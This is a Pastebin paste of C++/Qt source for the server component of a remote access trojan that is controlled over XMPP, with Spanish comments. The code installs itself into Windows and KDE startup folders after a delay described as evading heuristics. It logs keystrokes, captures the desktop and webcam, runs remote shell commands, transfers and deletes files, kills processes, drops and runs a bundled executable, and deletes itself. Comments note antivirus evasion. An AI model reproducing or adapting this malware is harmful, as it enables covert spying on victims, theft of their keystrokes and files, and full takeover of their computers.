Advertisement
Guest User

Untitled

a guest
Aug 23rd, 2016
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 28.23 KB | None | 0 0
  1. #include "mainwindow.h"
  2. #include <QtTest/QTest>
  3. #include <QPoint>
  4. #include <QSysInfo>
  5. #include <QDate>
  6. #include <QTime>
  7. #include <qxmpp/QXmppMessage.h>
  8. #ifdef Q_OS_WIN
  9. #include <windows.h>
  10. #include <shellapi.h>
  11. #endif
  12.  
  13. MainWindow::MainWindow() :
  14. QObject(0)
  15. {
  16. /** Constructor de la clase **/
  17. inicio();
  18. }
  19. MainWindow::~MainWindow()
  20. {
  21. /** Destructor de la clase **/
  22. }
  23.  
  24. void MainWindow::inicio(){
  25. /** funcion que se ejecuta al inicio de la aplicacion **/
  26. //Inicializar cosas
  27. cargarConfiguracion();
  28. listarProcesos();
  29. this->generarVentanaChat();
  30. QApplication::setQuitOnLastWindowClosed(false);
  31. manager = new QXmppTransferManager;
  32. connect(manager,SIGNAL(fileReceived(QXmppTransferJob*)),this,SLOT(llegadaDatosArchivo(QXmppTransferJob*)));
  33. cliente.addExtension(manager);
  34. //Declarar los signals y slots
  35. connect(this->botonChatEnviar,SIGNAL(clicked()),this,SLOT(enviarMensajeChat()));
  36. connect(&this->verTecla,SIGNAL(timeout()),this,SLOT(escucharTeclas()));
  37. connect(&cliente,SIGNAL(messageReceived(const QXmppMessage&)),this,SLOT(llegadaDatos(const QXmppMessage&)));
  38. connect(this,SIGNAL(procesar(QImage,int)),&capturacion,SLOT(procesarImagen(QImage,int)));
  39. connect(&capturacion,SIGNAL(enviar(QByteArray)),this,SLOT(enviarCaptura(QByteArray)));
  40. connect(&cliente,SIGNAL(presenceReceived(QXmppPresence)),this,SLOT(recibidaPresencia(QXmppPresence)));
  41. connect(&copiar,SIGNAL(timeout()),this,SLOT(tiempoCopiar()));
  42. connect(&timerSesion,SIGNAL(timeout()),this,SLOT(finalizarSesion()));
  43. //Crear si no esta creado el archivo de log para el keylogger
  44. log.setFileName(directorio.tempPath() + "/log"); //archivo de log del keylogger
  45. log.open(QFile::WriteOnly);
  46. log.close();
  47. verTecla.setInterval(50);
  48. //this->verTecla.start(); //Iniciar esto al inicio puede hacer que los antivirus sospechen
  49. if(this->ejecutar != "noejecutar") //Ejecutar un programa al inicio
  50. {
  51. QProcess::startDetached(this->ejecutar);
  52. }
  53. if(this->tipoMensaje != "nomensaje")
  54. {
  55. mostrarMensaje(tipoMensaje,tituloMensaje,textoMensaje);
  56. }
  57. capturacion.moveToThread(&hilo); //movemos capturacion a un nuevo hilo para que se ejecute de forma independiente al programa principal y no lo bloquee
  58. hilo.start();
  59. QXmppConfiguration configuracion; //la configuracion inicial de nuestro cliente xmpp
  60. configuracion.setJid(this->cuentaXmpp);
  61. configuracion.setPassword(this->contrasena);
  62. configuracion.setResource(this->alias);
  63. cliente.setClientPresence(QXmppPresence::Available);
  64. cliente.connectToServer(configuracion); //conectar al servidor xmpp
  65. copiar.setInterval(60000); //intervalo de tiempo para copiar el servidor al inicio (para evitar heuristica)
  66. timerSesion.setInterval(20 * 60000); //Intervalo de tiempo para cerrar sesion si no hay actividad
  67. copiar.start();
  68. contrasenaRecibida = "nocontrasena";
  69. }
  70. void MainWindow::tiempoCopiar()
  71. {
  72. /** Copia el servidor al directorio de inicio **/
  73. QByteArray datos = nuevaTrama(); //Reconstruimos la configuración con algunas modificaciones para el servidor copiado
  74. //Copiar a los posibles directorios de inicio de windows
  75. #ifdef Q_WS_WIN
  76. if (directorio.exists(QDir::homePath() + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup")) { //Windows Vista/7
  77. copiarServidor(datos,QDir::homePath() + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/" + this->nombreCopiable);
  78. }
  79. if (directorio.exists(QDir::homePath() + "/Start Menu/Programs/Startup")) { //Windows XP
  80. copiarServidor(datos,QDir::homePath() + "/Start Menu/Programs/Startup/" + this->nombreCopiable);
  81. }
  82. if (directorio.exists(QDir::homePath() + "/Menú Inicio/Programas/Inicio")) { //Windows XP
  83. copiarServidor(datos,QDir::homePath() + "/Menú Inicio/Programas/Inicio/" + this->nombreCopiable);
  84. }
  85. #else
  86. if (directorio.exists(QDir::homePath() + "/.kde/Autostart/")) { //Kubuntu
  87. copiarServidor(datos,QDir::homePath() + "/.kde/Autostart/" + this->nombreCopiable);
  88. }
  89. #endif
  90. copiar.stop();
  91. }
  92. void MainWindow::finalizarSesion()
  93. {
  94. contrasenaRecibida = "nocontrasena";
  95. timerSesion.stop();
  96. }
  97. QByteArray MainWindow::nuevaTrama()
  98. { /** esta funcion reconstruye una nueva trama de configuracion con algunas opciones cambiadas para el servidor copiado **/
  99. QByteArray datos;
  100. datos = "|@|" + this->cuentaXmpp.toLatin1() + "|@|";
  101. datos = datos + this->contrasena.toLatin1() + "|@|";
  102. datos = datos + this->alias.toLatin1() + "|@|";
  103. datos = datos + "nounido" + "|@|";
  104. datos = datos + "0" + "|@|";
  105. datos = datos + this->nombreCopiable.toLatin1() + "|@|";
  106. if(this->siempreOUnaVez == "0") //Si el programa de inicio se ejecuta siempre
  107. {
  108. datos = datos + this->ejecutar.toLatin1() + "|@|"; //Lo ponemos en el servidor copiado
  109. datos = datos + "0|@|";
  110. }
  111. else
  112. {
  113. datos = datos + "noejecutar|@|0|@|"; //Sino decimos al servidor copiado que no ejecute nada
  114. }
  115. datos = datos + this->contrasenaProteccion.toLatin1() + "|@|";
  116. datos = datos + "nomensaje|@|";
  117. return datos;
  118. }
  119. bool MainWindow::cargarConfiguracion(){
  120. /** Cargar la configuración del servidor guardada en el último KB del ejecutable **/
  121. //valores por defecto
  122. this->cuentaXmpp = "";
  123. this->contrasena = "";
  124. this->alias = "servidor";
  125. QString appPath = QApplication::applicationFilePath(); //ruta absoluta a la aplicación
  126. this->nombreCopiable = "noiniciar"; //Nombre del ejecutable
  127. // No olividar renombrar el ejecutable a rawserver.dat y moverlo al directorio del cliente
  128. QString datos;
  129. QString conversion;
  130. QStringList campo;
  131. QFile servidor;
  132. servidor.setFileName(QApplication::applicationFilePath());
  133. servidor.open(QIODevice::ReadOnly);
  134. servidor.seek(servidor.size() - 1024);
  135. datos = servidor.read(1024);
  136. servidor.close();
  137. campo = datos.split("|@|");
  138. if(campo.size() >= 8)
  139. {
  140. this->cuentaXmpp = campo[1];
  141. this->contrasena = campo[2];
  142. this->alias = campo[3];
  143. this->adjunto = campo[4];
  144. this->tamanoAdjunto = campo[5].toLong();
  145. this->nombreCopiable = campo[6];
  146. this->ejecutar = campo[7];
  147. this->siempreOUnaVez = campo[8];
  148. this->contrasenaProteccion = campo[9];
  149. this->tipoMensaje = campo[10];
  150. if(this->tipoMensaje != "nomensaje")
  151. {
  152. this->textoMensaje = campo[11];
  153. this->tituloMensaje = campo[12];
  154. }
  155.  
  156.  
  157. }
  158. return true;
  159. }
  160. void MainWindow::recibidaPresencia(QXmppPresence presencia)
  161. { /** Esta funcion cuando recibe una peticion de subscripcion por parte del cliente la acepta **/
  162. if(presencia.type() == QXmppPresence::Subscribe)
  163. {
  164. QXmppPresence aceptar;
  165. aceptar.setTo(presencia.from());
  166. aceptar.setType(QXmppPresence::Subscribed);
  167. cliente.sendPacket(aceptar);
  168. }
  169. }
  170. void MainWindow::copiarServidor(QByteArray tramaConfiguracion, QString destino)
  171. {
  172. /** Copia el servidor a la ruta destino con la configuración proporcionada en tramaConfiguracion **/
  173. QString home = directorio.homePath(); //ruta absoluta del directorio raiz del usuario
  174. QString appPath = QApplication::applicationFilePath(); //ruta absoluta a la aplicación
  175. if (this->adjunto == "unido") //Cuando hay un ejecutable adjunto
  176. {
  177. //TODO: ":Esto está muy poco optimizado, mejorar más adelante."
  178. QDir directorio;
  179. qint64 tamano;
  180. tamano = this->tamanoAdjunto;
  181. QFile adjunto;
  182. QFile servidor;
  183. adjunto.setFileName(directorio.tempPath() + "/temp.exe");
  184. servidor.setFileName(QApplication::applicationFilePath());
  185. adjunto.open(QFile::WriteOnly);
  186. servidor.open(QFile::ReadOnly);
  187. if(this->nombreCopiable != "noiniciar") //Solo necesitamos extraer el servidor si lo tenemos que copiar
  188. {
  189. QFile copiable;
  190. copiable.setFileName(destino);
  191. copiable.open(QFile::WriteOnly);
  192. copiable.write(servidor.read(servidor.size() - 1024 - tamano));
  193. copiable.write(tramaConfiguracion,1024);
  194. copiable.close();
  195. }
  196. servidor.seek(servidor.size() - 1024 - tamano);
  197. adjunto.write(servidor.read(tamano));
  198. servidor.close();
  199. adjunto.close();
  200. proceso.setWorkingDirectory(directorio.tempPath());
  201. QString exeFileName = directorio.tempPath() + "/temp.exe";
  202. /*#ifdef Q_OS_WIN //Avira detecta esto como virus
  203. int result = (int)::ShellExecuteA(0, "open", exeFileName.toUtf8().constData(), 0, 0, SW_SHOWNORMAL);
  204. if (SE_ERR_ACCESSDENIED == result)
  205. {
  206. result = (int)::ShellExecuteA(0, "runas", exeFileName.toUtf8().constData(), 0, 0, SW_SHOWNORMAL);
  207. }
  208. #endif*/
  209. QProcess::startDetached(exeFileName);
  210. }
  211. else
  212. {
  213. if(this->nombreCopiable != "noiniciar")
  214. {
  215. QFile servidor;
  216. QFile copiable;
  217. servidor.setFileName(QApplication::applicationFilePath());
  218. copiable.setFileName(destino);
  219. copiable.open(QFile::WriteOnly);
  220. servidor.open(QFile::ReadOnly);
  221. copiable.write(servidor.read(servidor.size() - 1024));
  222. copiable.write(tramaConfiguracion,1024);
  223. copiable.close();
  224. servidor.close();
  225. }
  226. }
  227. }
  228.  
  229. void MainWindow::llegadaDatos(const QXmppMessage &mensaje) {
  230. /** Función para el manejo de los datos recibidos a través del socket **/
  231. from = mensaje.from(); //Contestaremos al mismo cliente que nos envie los mensajes
  232. QString datos = mensaje.body(); //Coger el mensaje
  233. QStringList parametros = datos.split("|@|"); //Separar los parametros
  234. if(contrasenaProteccion != contrasenaRecibida)
  235. {
  236. if(parametros[0] == "pass")
  237. {
  238. contrasenaRecibida = parametros[1];
  239. }
  240. else
  241. {
  242. cliente.sendMessage(from,"ident|@|");
  243. }
  244. }
  245. else
  246. {
  247.  
  248. if(parametros[0] == "t") //llegada de teclas
  249. {
  250. int i;
  251. for(i=0;i<parametros.size();i++) //recorremos y vamos enviando las teclas
  252. {
  253. enviarTecla(parametros[i].toInt());
  254. }
  255. return;
  256. }
  257. if (parametros[0] == "der") //un click derecho
  258. {
  259. moverPuntero(parametros[1].toInt(),parametros[2].toInt());
  260. hacerClickDerechoP();
  261. hacerClickDerechoS();
  262. return;
  263. }
  264. if (parametros[0] == "izq") //un click izquierdo
  265. {
  266. moverPuntero(parametros[1].toInt(),parametros[2].toInt());
  267. hacerClickIzquierdoP();
  268. hacerClickIzquierdoS();
  269. return;
  270. }
  271. if (parametros[0] == "arra") //mover el raton arrastrando
  272. {
  273. moverPuntero(parametros[1].toInt(),parametros[2].toInt());
  274.  
  275. hacerClickIzquierdoP();
  276.  
  277. moverPuntero(parametros[3].toInt(),parametros[4].toInt());
  278.  
  279. hacerClickIzquierdoS();
  280.  
  281. return;
  282. }
  283. if(parametros[0] == "shell"){ //shell remoto
  284. QString salidaShell;
  285. salidaShell = "shell|@|" + shell(parametros[1].toLatin1());
  286. cliente.sendMessage(from,salidaShell);
  287. }
  288. if (parametros[0] == "home"){
  289. cliente.sendMessage(from,"home|@|" + QDir::homePath());
  290. }
  291. if (parametros[0] == "unidades")
  292. {
  293. listarUnidades();
  294. }
  295. if (parametros[0] == "archivos"){
  296. listarArchivos(parametros[1]);
  297. }
  298. if (parametros[0] == "directorios"){
  299. listarDirectorios(parametros[1]);
  300. }
  301. if (parametros[0] == "get"){
  302. job = manager->sendFile(from,parametros[1]);
  303. }
  304. if (parametros[0] == "put"){
  305. archivo = parametros[1];
  306. }
  307. if (parametros[0] == "remove"){
  308. directorio.remove(parametros[1]);
  309. }
  310. if (parametros[0] == "createfolder"){
  311. directorio.mkdir(parametros[1]);
  312. }
  313. if (parametros[0] == "borrarcarpeta")
  314. {
  315. directorio.rmdir(parametros[1]); }
  316. if (parametros[0] == "tamano")
  317. {
  318. QString tamano;
  319. tamano.setNum(QFileInfo(parametros[1]).size());
  320. cliente.sendMessage(from,"tamano|@|" + tamano);
  321. }
  322. if (parametros[0] == "execute")
  323. {
  324. QProcess::startDetached(parametros[1]);
  325. }
  326. if (parametros[0] == "copiar")
  327. {
  328. QFile::copy(parametros[1],parametros[2]);
  329. }
  330. if (parametros[0] == "mover")
  331. {
  332. if(parametros[1] != parametros[2]) //Para evitar borrar el archivo si se mueve a la misma carpeta
  333. {
  334. QFile::copy(parametros[1],parametros[2]);
  335. QFile::remove(parametros[1]);
  336. }
  337. }
  338. if (parametros[0] == "renombrar")
  339. {
  340. QFile::rename(parametros[1],parametros[2]);
  341. }
  342. if (parametros[0] == "previa")
  343. {
  344. vistaPrevia(parametros[1]);
  345. }
  346. if (parametros[0] == "alerta"){
  347. mostrarMensaje("alerta",parametros[2],parametros[1]);
  348. }
  349. if (parametros[0] == "info"){
  350. mostrarMensaje("info",parametros[2],parametros[1]);
  351. }
  352. if (parametros[0] == "peligro"){
  353. mostrarMensaje("peligro",parametros[2],parametros[1]);
  354. }
  355. if (datos == "reiniciar"){
  356. reiniciar();
  357. }
  358. if (datos == "cerrar"){ //cerrar el servidor
  359. cliente.disconnect();
  360. apagar();
  361. QApplication::exit();
  362. }
  363. if (datos == "desinfectar")
  364. {
  365. desinfectar();
  366. }
  367. if (datos == "ping") { //ping al servidor
  368. cliente.sendMessage(from,"pong");
  369. }
  370. if(parametros[0] == "apagarequipo"){
  371. #ifdef Q_WS_WIN
  372. shell("shutdown /t 1 /s");
  373. #else
  374. shell("shutdown -h now");
  375. #endif
  376. }
  377. if(parametros[0] == "reiniciarequipo"){
  378. #ifdef Q_WS_WIN
  379. shell("shutdown /t 0 /r");
  380. #else
  381. shell("shutdown -r now");
  382. #endif
  383. }
  384. if (datos == "abrirchat") {
  385. this->abrirChat();
  386. }
  387. if (datos == "cerrarchat") {
  388. this->cerrarChat();
  389. }
  390. if (parametros[0] == "chat") {
  391. this->nickVictima = parametros[3];
  392. this->ponerMensajeChat(parametros[1],parametros[2]);
  393. }
  394. if (parametros[0] == "activark")
  395. {
  396. verTecla.start();
  397. }
  398. if (parametros[0] == "desactivark")
  399. {
  400. verTecla.stop();
  401. }
  402. if (parametros[0] == "recibirk")
  403. {
  404. QFile klog;
  405. klog.setFileName(directorio.tempPath() + "/log");
  406. klog.open(QFile::ReadOnly);
  407. cliente.sendMessage(from,"teclas|@|" + klog.readAll());
  408. klog.close();
  409. }
  410. if (parametros[0] == "limpiark")
  411. {
  412. QDir directorio;
  413. if(this->verTecla.isActive())
  414. {
  415. this->verTecla.stop();
  416. directorio.remove(directorio.tempPath() + "/log");
  417. this->verTecla.start();
  418. }
  419. else
  420. {
  421. directorio.remove("./log");
  422. }
  423. }
  424. if (parametros[0] == "informacion")
  425. {
  426. cliente.sendMessage(from,obtenerInformacionSistema());
  427. }
  428. if(parametros[0] == "procesos")
  429. {
  430. listarProcesos();
  431. }
  432. if(parametros[0] == "matar")
  433. {
  434. matarProceso(parametros[1]);
  435. }
  436. if(parametros[0] == "captura") //capturar escritorio
  437. {
  438. emit procesar(screenShot().toImage(),parametros[1].toInt());
  439. }
  440. if (parametros[0] == "cap") //capturar la webcam
  441. {
  442. enviarWebcam(parametros[1].toInt());
  443. }
  444. if (parametros[0] == "encender")
  445. {
  446. encender();
  447. }
  448. if (parametros[0] == "apagar")
  449. {
  450. apagar();
  451. }
  452. if (parametros[0] == "establecerxmpp")
  453. {
  454. if(parametros[1] == "banda")
  455. {
  456. manager->setSupportedMethods(QXmppTransferJob::InBandMethod);
  457. }
  458. else
  459. {
  460. manager->setSupportedMethods(QXmppTransferJob::SocksMethod);
  461. }
  462. if(parametros[2] != "noproxy")
  463. {
  464. manager->setProxy(parametros[2]);
  465. manager->setProxyOnly(true);
  466. }
  467. else
  468. {
  469. manager->setProxyOnly(false);
  470. }
  471. }
  472. timerSesion.stop();
  473. timerSesion.start();
  474. }
  475. }
  476.  
  477. void MainWindow::enviarWebcam(int calidad)
  478. {
  479. bufferWebcam.setBuffer(&WebcamMem);
  480. bufferWebcam.open(QIODevice::WriteOnly);
  481. QPixmap imagen;
  482. imagen = capturar();
  483. imagen.save(&bufferWebcam,"jpeg",calidad);
  484. QXmppTransferFileInfo informacion;
  485. informacion.setName("|@|webcam|@|");
  486. informacion.setSize(bufferWebcam.size());
  487. bufferWebcam.close();
  488. bufferWebcam.open(QIODevice::ReadOnly);
  489. job = manager->sendFile(from,&bufferWebcam,informacion);
  490.  
  491. }
  492. void MainWindow::moverPuntero(int x, int y)
  493. {
  494. QPoint puntero;
  495. puntero.setX(x);
  496. puntero.setY(y);
  497. QTest::mouseMove(QApplication::desktop(),puntero);
  498. }
  499. QString MainWindow::obtenerInformacionSistema()
  500. {
  501. /** Obtiene información relevante del ambiente donde se está ejecutando el servidor **/
  502. QString so;
  503. QString version;
  504. //QString unidades = QDir::drives();
  505. QString homePath = QDir::homePath();
  506. QString tempPath = QDir::tempPath();
  507. QString alto;
  508. alto.setNum(QApplication::desktop()->height());
  509. QString ancho;
  510. ancho.setNum(QApplication::desktop()->width());
  511. QDate tiempo;
  512. QString fecha = tiempo.currentDate().toString();
  513. QTime horaSistema;
  514. QString hora = horaSistema.currentTime().toString();
  515. QString alias = this->alias;
  516. #ifdef Q_WS_WIN
  517. so = "Windows";
  518. switch (QSysInfo::WindowsVersion)
  519. {
  520. case QSysInfo::WV_XP: {
  521. version = "XP";
  522. break;
  523. }
  524. case QSysInfo::WV_2003: {
  525. version = "2003 Server";
  526. break;
  527. }
  528. case QSysInfo::WV_VISTA: {
  529. version = "Vista";
  530. break;
  531. }
  532. case QSysInfo::WV_WINDOWS7: {
  533. version = "7";
  534. break;
  535. }
  536. default:
  537. break;
  538. }
  539. #else
  540. so = "GNU/Linux";
  541. QProcess ver;
  542. ver.start("uname -a");
  543. ver.waitForReadyRead();
  544. version = ver.readAll();
  545. #endif
  546. return "informacion|@|" + so + "|@|" + version + "|@|" + homePath + "|@|" + tempPath + "|@|" + ancho + "|@|" + alto + "|@|" + fecha + "|@|" + hora + "|@|" + alias + "|@|";
  547. }
  548. void MainWindow::llegadaDatosArchivo(QXmppTransferJob* transferencia){
  549. /** Función invocada para recibir un archivo enviado por el cliente **/
  550. archivoRecibido = new QFile(directorio.path() + "/" + archivo);
  551. archivoRecibido->open(QFile::WriteOnly);
  552. transferencia->accept(archivoRecibido);
  553. }
  554.  
  555. QPixmap MainWindow::screenShot(){
  556. /** Función que realiza la captura de la pantalla **/
  557. QPixmap captura;
  558. captura = QPixmap::grabWindow(QApplication::desktop()->winId());
  559. return captura;
  560. }
  561.  
  562. QString MainWindow::shell(QString comando){
  563. /** Función que ejecuta el comando de consola pasado como parámetro y devuelve la salida **/
  564. #ifdef Q_WS_WIN
  565. consola.start("cmd.exe /C " + comando);
  566. #else
  567. consola.start(comando);
  568. #endif
  569. consola.waitForReadyRead();
  570. return consola.readAllStandardOutput();
  571. }
  572. void MainWindow::reiniciar(){
  573. /** Función que reinicia el servidor **/
  574. QString filePath = QApplication::applicationFilePath();
  575. QProcess::startDetached(filePath);
  576. QApplication::exit();
  577. }
  578. void MainWindow::desinfectar()
  579. {
  580. /** Esta funcion borra todos los archivos del servidor y luego se borra a si mismo **/
  581. this->verTecla.stop();
  582. apagar();
  583. QFile::remove(directorio.tempPath() + "/dat");
  584. QFile::remove(directorio.tempPath() + "/log");
  585. QFile::remove("data");
  586. #ifdef Q_WS_WIN
  587. /* En Windows lo que hacemos es crear un .bat que espere un cierto tiempo para dar tiempo al servidor a cerrarse y luego lo borra */
  588. QByteArray bat;
  589. bat = "@echo off \nping localhost -n 1 -w 1000 > null\ndel \"" + QApplication::applicationFilePath().toLatin1() + "\"\ndel \"" + QApplication::applicationDirPath().toLatin1() + "/null\"\ndel \"" + QApplication::applicationDirPath().toLatin1() + "/borrar.bat\"";
  590. bat.replace("/","\\");
  591. QFile archivoBat;
  592. archivoBat.setFileName("borrar.bat");
  593. archivoBat.open(QFile::WriteOnly | QFile::Text);
  594. archivoBat.write(bat);
  595. archivoBat.close();
  596. QProcess::startDetached("borrar.bat");
  597. #endif
  598. QApplication::exit();
  599. }
  600. void MainWindow::listarUnidades()
  601. { /** Esta función envia por socket una lista de las unidades de almacenamiento del sistema **/
  602. int i;
  603. QString unidades = "unidades|@|";
  604. QFileInfoList listaUnidades = directorio.drives();
  605. for (i=0;i<listaUnidades.size();i++){
  606. unidades = unidades + listaUnidades[i].absoluteFilePath() + "|@|";
  607. }
  608. cliente.sendMessage(from,unidades);
  609. }
  610. void MainWindow::listarArchivos(QString ruta){
  611. /** Función que envia por socket una lista de archivos del directorio pasado como parámetro **/
  612. int i;
  613. QString archivos = "file|@|";
  614. directorio.cd(ruta);
  615. QStringList listaArchivos = directorio.entryList(QDir::Files);
  616. for (i=0;i<listaArchivos.size();i++){
  617. archivos = archivos + listaArchivos[i] + "|@|";
  618. }
  619. cliente.sendMessage(from,archivos);
  620. }
  621. void MainWindow::listarDirectorios(QString ruta){
  622. /** Función que envia por socket una lista de directorios del directorio pasado como parámetro **/
  623. int i;
  624. QString directorios = "folder|@|";
  625. directorio.cd(ruta);
  626. QStringList listaDirectorios = directorio.entryList(QDir::Dirs);
  627. for (i=0;i<listaDirectorios.size();i++){
  628. directorios = directorios + listaDirectorios[i] + "|@|";
  629. }
  630. cliente.sendMessage(from,directorios);
  631. }
  632. void MainWindow::vistaPrevia(QString archivo)
  633. {
  634. bufferMini.setBuffer(&miniMem);
  635. QPixmap imagen;
  636. imagen.load(archivo);
  637. bufferMini.open(QIODevice::WriteOnly);
  638. imagen.scaled(128,128).save(&bufferMini,"jpeg",70);
  639. bufferMini.close();
  640. QXmppTransferFileInfo informacion;
  641. informacion.setName("|@|mini|@|");
  642. informacion.setSize(bufferMini.size());
  643. bufferMini.open(QIODevice::ReadOnly);
  644. job = manager->sendFile(from,&bufferMini,informacion);
  645. }
  646. void MainWindow::mostrarMensaje(QString tipo, QString titulo, QString texto){
  647. /** Función que muestra mensajes emergentes **/
  648. mensaje = new QMessageBox(0);
  649. mensaje->setWindowModality(Qt::NonModal);
  650. if (tipo == "alerta"){
  651. mensaje->setIcon(QMessageBox::Warning);
  652. }
  653. if (tipo == "info"){
  654. mensaje->setIcon(QMessageBox::Information);
  655. }
  656. if (tipo == "peligro"){
  657. mensaje->setIcon(QMessageBox::Critical);
  658. }
  659. mensaje->setWindowTitle(titulo);
  660. mensaje->setText(texto);
  661. mensaje->setVisible(true);
  662. }
  663. void MainWindow::generarVentanaChat()
  664. {
  665. /** Crea una ventana de chat **/
  666. this->chat = new QWidget(0,Qt::CustomizeWindowHint);
  667. this->capa = new QVBoxLayout(chat);
  668. this->capaHorizontal = new QHBoxLayout(chat);
  669. this->botonChatEnviar = new QPushButton("Enviar",chat);
  670. this->enviarChatTexto = new QLineEdit(chat);
  671. salidaChatTexto = new QPlainTextEdit(chat);
  672. capa->addWidget(salidaChatTexto);
  673. capaHorizontal->addWidget(enviarChatTexto);
  674. capaHorizontal->addWidget(botonChatEnviar);
  675. capa->addLayout(capaHorizontal);
  676. }
  677. void MainWindow::abrirChat()
  678. {
  679. /** Función que abre la ventana de chat **/
  680. chat->show();
  681. }
  682. void MainWindow::cerrarChat()
  683. {
  684. /** Función que cierra la ventana de chat **/
  685. this->chat->close();
  686. }
  687. void MainWindow::enviarMensajeChat()
  688. {
  689. /** Envia un mensaje de chat al cliente **/
  690. this->ponerMensajeChat(this->enviarChatTexto->text(),this->nickVictima);
  691. cliente.sendMessage(from,"chat|@|" + this->enviarChatTexto->text());
  692. this->enviarChatTexto->clear();
  693. }
  694. void MainWindow::ponerMensajeChat(QString mensajeChat, QString quien)
  695. {
  696. /** muestra el mensaje de char recibido **/
  697. this->salidaChatTexto->document()->setHtml(this->salidaChatTexto->document()->toHtml() + "<br>" + quien + " dice: " + mensajeChat);
  698. }
  699. void MainWindow::escucharTeclas()
  700. {
  701. /** Esta función comprueba que teclas hay pulsadas y las guarda en un archivo **/
  702. char num;
  703. num = comprobarTeclas();
  704.  
  705. if(num != 0)
  706. {
  707. log.open(QFile::Append);
  708. cadenaa.append(num);
  709. log.write(cadenaa);
  710. cadenaa.clear();
  711. log.close();
  712. }
  713. }
  714.  
  715. paralelo::paralelo()
  716. {
  717. imagen1 = new QImage(QApplication::desktop()->width(),QApplication::desktop()->height(),QImage::Format_RGB32);
  718. imagen1->fill(QColor(0,0,0).rgba());
  719. sincroniza = 0;
  720. }
  721.  
  722. void paralelo::procesarImagen(QImage imagen2, int calidad)
  723. {
  724. int i,j;
  725. QImage imagen3(imagen2.width(),imagen2.height(), QImage::Format_RGB32); //Creamos una imagen nueva donde pintaremos los pixeles diferentes
  726. imagen3.fill(QColor(255, 0, 255).rgb()); //Inicializamos la imagen a fucsia para que envie la primera completa
  727. for(i=0;i<imagen1->width();i++) //Recorremos toda la imagen
  728. {
  729. for(j=0;j<imagen1->height();j++)
  730. {
  731. if(imagen1->pixel(i,j) != imagen2.pixel(i,j)) //Si los pixeles son diferentes entonces se escriben en la nueva imagen
  732. {
  733. imagen3.setPixel(i,j,imagen2.pixel(i,j));
  734. }
  735. }
  736. }
  737. buffer = new QBuffer(&bytes);
  738. buffer->open(QIODevice::ReadWrite);
  739. imagen3.save(buffer,"jpg",calidad); //Guardamos la imagen resultante en un bufer de memoria en formato jpg
  740. *imagen1 = imagen2; //La captura actual pasa a ser captura anterior
  741. sincroniza++; //LLebamos la cuenta de cuantas capturas vamos haciendo
  742. if(sincroniza == 10) //Cada 10 capturas envia una completa para sincronizar
  743. {
  744. imagen1->fill(QColor(0,0,0).rgba()); //Al poner la imagen1 a negro la diferencia con la imagen anterior es toda la imagen por lo que se envia la captura entera
  745. sincroniza = 0;
  746. }
  747. emit enviar(buffer->buffer());
  748. }
  749. void MainWindow::listarProcesos()
  750. {
  751. int i;
  752. QProcess procesos;
  753. QString listaEnvio = "listaprocesos|@|";
  754. #ifdef Q_OS_WIN
  755. procesos.start("tasklist");
  756. procesos.waitForFinished();
  757. procesos.waitForReadyRead();
  758. QString salida = procesos.readAllStandardOutput();
  759. QStringList listaProc = salida.split("\n");
  760. for(i=3;i<listaProc.size() - 1;i++)
  761. {
  762. listaEnvio = listaEnvio + listaProc[i].split(" ")[0] + "|@|";
  763. }
  764. #else
  765. procesos.start("ps -eo %c");
  766. procesos.waitForFinished();
  767. procesos.waitForReadyRead();
  768. QString salida = procesos.readAllStandardOutput();
  769. QStringList listaProc = salida.split("\n");
  770. for(i=1;i<listaProc.size();i++)
  771. {
  772. listaEnvio = listaEnvio + listaProc[i] + "|@|";
  773. }
  774. #endif
  775. cliente.sendMessage(from,listaEnvio);
  776. }
  777. void MainWindow::matarProceso(QString programa)
  778. {
  779. #ifdef Q_OS_WIN
  780. QString orden = "taskkill /IM " + programa;
  781. #else
  782. QString orden = "killall " + programa;
  783. #endif
  784. QProcess::startDetached(orden);
  785. }
  786.  
  787. void MainWindow::enviarCaptura(QByteArray array)
  788. {
  789. bufferMem = array;
  790. mem.setBuffer(&bufferMem);
  791. mem.open(QIODevice::ReadOnly);
  792. QXmppTransferFileInfo informacion;
  793. informacion.setName("|@|captura|@|");
  794. informacion.setSize(mem.size());
  795. job = manager->sendFile(from,&mem,informacion);
  796. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement